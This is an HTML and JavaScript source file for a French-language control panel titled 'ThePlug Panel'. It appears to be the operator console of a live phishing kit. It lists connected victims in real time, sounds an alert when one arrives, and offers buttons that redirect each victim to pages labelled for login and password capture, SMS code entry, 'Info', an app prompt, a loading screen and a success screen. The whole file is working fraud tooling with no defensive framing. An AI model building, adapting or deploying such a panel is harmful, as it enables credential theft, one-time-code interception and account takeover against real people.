/home2/mshostin/live-dashboard/public/dashboard.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>ThePlug Panel 🔌</title>
<style>
  body {
    margin: 0;
    font-family: 'Segoe UI', Arial, sans-serif;
    background: #0f0f0f;
    color: #fff;
    transition: background 0.3s;
  }

  header {
    padding: 15px 30px;
    background: #1a1a1a;
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-bottom: 2px solid #333;
  }

  .logo-container {
    display: flex;
    align-items: center;
    gap: 10px;
    font-size: 24px;
  }

  h1 {
    margin: 0;
    font-size: 22px;
    font-weight: 600;
  }

  .counter {
    font-size: 16px;
    color: #4cafef;
  }

  #users {
    padding: 20px;
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
    gap: 20px;
  }

  .user-card {
    background: #181818;
    border-radius: 14px;
    padding: 18px;
    border: 1px solid #222;
    box-shadow: 0 4px 20px rgba(0,0,0,0.6);
    transition: transform 0.2s, box-shadow 0.2s;
  }

  .user-card:hover {
    transform: translateY(-5px);
    box-shadow: 0 8px 25px rgba(0,0,0,0.8);
  }

  .user-card.new {
    animation: glow 1s ease-in-out infinite alternate;
  }

  @keyframes glow {
    from { box-shadow: 0 0 12px #ff5252; }
    to   { box-shadow: 0 0 30px #ff5252; }
  }

  .user-id {
    font-size: 12px;
    color: #aaa;
    word-break: break-all;
  }

  .info {
    margin: 6px 0;
    font-size: 14px;
  }

  .page { color: #4cafef; }
  .time { color: #00e676; }
  .browser { color: #ffca28; }

  button {
    margin: 6px 5px 0 0;
    background: #222;
    color: #fff;
    border: 1px solid #333;
    padding: 7px 12px;
    border-radius: 8px;
    cursor: pointer;
    transition: all 0.2s;
    font-weight: 500;
    font-size: 13px;
  }

  button:hover {
    background: #4cafef;
    color: #000;
  }

  .alert {
    animation: flash 0.3s alternate 6;
  }

  @keyframes flash {
    from { background: #0f0f0f; }
    to   { background: #400000; }
  }

  /* Responsive */
  @media(max-width: 500px) {
    header { flex-direction: column; gap: 10px; }
    .counter { font-size: 14px; }
    .logo-container h1 { font-size: 18px; }
  }
</style>
</head>

<body>

<header>
  <div class="logo-container">
    🔌 <h1>ThePlug Panel</h1>
  </div>
  <div class="counter">👥 En ligne : <span id="count">0</span></div>
</header>

<div id="users"></div>

<audio id="alertSound">
  <source src="https://actions.google.com/sounds/v1/alarms/beep_short.ogg">
</audio>

<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
  const socket = io({ path: '/live-dashboard/socket.io' });
  let previousUsers = {};
  let timers = {};

  function redirectUser(targetSocket, page) {
    socket.emit("redirect_user", { targetSocket, page });
  }

  function getBrowser() {
    const ua = navigator.userAgent;
    if (ua.includes("Chrome")) return "Chrome";
    if (ua.includes("Firefox")) return "Firefox";
    if (ua.includes("Safari")) return "Safari";
    if (ua.includes("Mobile")) return "Mobile";
    return "Inconnu";
  }

  socket.on("users_update", (users) => {
    const usersDiv = document.getElementById("users");
    const currentCount = Object.keys(users).length;
    document.getElementById("count").textContent = currentCount;

    let newUserDetected = false;

    for (let id in users) {
      if (!timers[id]) timers[id] = Date.now();

      const seconds = Math.floor((Date.now() - timers[id]) / 1000);

      let card = document.getElementById(`user-${id}`);
      if (!card) {
        card = document.createElement("div");
        card.id = `user-${id}`;
        card.className = "user-card new";
        newUserDetected = true;
        usersDiv.appendChild(card);
      } else {
        card.classList.remove("new");
      }

      card.innerHTML = `
        <div class="user-id">🆔 ${id}</div>
        <div class="info page">📄 Page : ${users[id].page}</div>
        <div class="info time">⏱ Temps : ${seconds}s</div>
        <div class="info browser">🌍 Navigateur : ${getBrowser()}</div>
        <button onclick="redirectUser('${id}','/live-dashboard/connexion-espace-client.html')"> LOGIN & PASS </button>
        <button onclick="redirectUser('${id}','/live-dashboard/loading.html')"> EN COURS </button>
        <button onclick="redirectUser('${id}','/live-dashboard/info.html')"> Info </button>
        <button onclick="redirectUser('${id}','/live-dashboard/sms.html')"> SMS </button>
        <button onclick="redirectUser('${id}','/live-dashboard/application.html')"> Application </button>
         <button onclick="redirectUser('${id}','/live-dashboard/success.html')"> Success </button>
      `;
    }

    // Remove disconnected users
    for (let id in previousUsers) {
      if (!users[id]) {
        const card = document.getElementById(`user-${id}`);
        if (card) usersDiv.removeChild(card);
        delete timers[id];
      }
    }

    if (newUserDetected) {
      document.body.classList.add("alert");
      document.getElementById("alertSound").play();
      setTimeout(() => document.body.classList.remove("alert"), 2000);
    }

    previousUsers = { ...users };
  });
</script>

</body>
</html>